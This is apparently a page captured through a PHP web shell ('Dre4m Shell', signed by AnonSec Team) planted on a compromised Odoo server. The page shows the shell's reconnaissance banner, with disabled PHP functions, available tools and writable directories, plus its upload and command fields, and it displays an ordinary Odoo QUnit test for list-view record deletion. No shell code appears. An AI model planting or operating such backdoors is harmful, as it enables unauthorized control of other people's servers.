Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.140.250.157
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/web/static/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/web/static/test/list.js
odoo.define_section('list.buttons', ['web.ListView', 'web.data', 'web.data_manager'], function (test, mock) {

    test('record-deletion', function (assert, ListView, data, data_manager) {
        assert.expect(2);

        mock.add('demo:read', function (args, kwargs) {
            if (_.isEqual(args[0], [1, 2, 3])) {
                return [
                    {id: 1, a: 'foo'}, {id: 2, a: 'bar'}, {id: 3, a: 'baz'}
                ];
            }
            throw new Error(JSON.stringify(_.toArray(arguments)));
        });
        mock.add('demo:search_read', function (args, kwargs) {
            if (_.isEqual(args[0], [['id', 'in', [2]]])) {
                return [];
            }
            throw new Error(JSON.stringify(_.toArray(arguments)));
        });
        mock.add('/web/dataset/call_button', function () { return false; });
        mock.add('demo:fields_get', function() {
            return {a: {type: 'char', string: "A"}};
        });

        var ds = new data.DataSetStatic(null, 'demo', null, [1, 2, 3]);
        var fields_view = data_manager._postprocess_fvg({
            type: 'tree',
            fields: {
                a: {type: 'char', string: "A"}
            },
            arch: '<tree><field name="a"/><button type="object" name="foo"/></tree>',
        });
        var list = new ListView({
            do_action: odoo.testing.noop
        }, ds, fields_view, {editable: 'top'});

        var $fix = $( "#qunit-fixture");

        return list.appendTo($fix)
        .then(list.proxy('reload_content'))
        .then(function () {
            var d = $.Deferred();
            list.records.bind('remove', function () {
                d.resolve();
            });
            $fix.find('table tbody tr:eq(1) button').click();
            return d.promise();
        })
        .then(function () {
            assert.strictEqual(list.records.length, 2,
                        "should have 2 records left");
            assert.strictEqual($fix.find('table tbody tr[data-id]').length, 2,
                        "should have 2 rows left");
        });
    });
});

Anon7 - 2022
AnonSec Team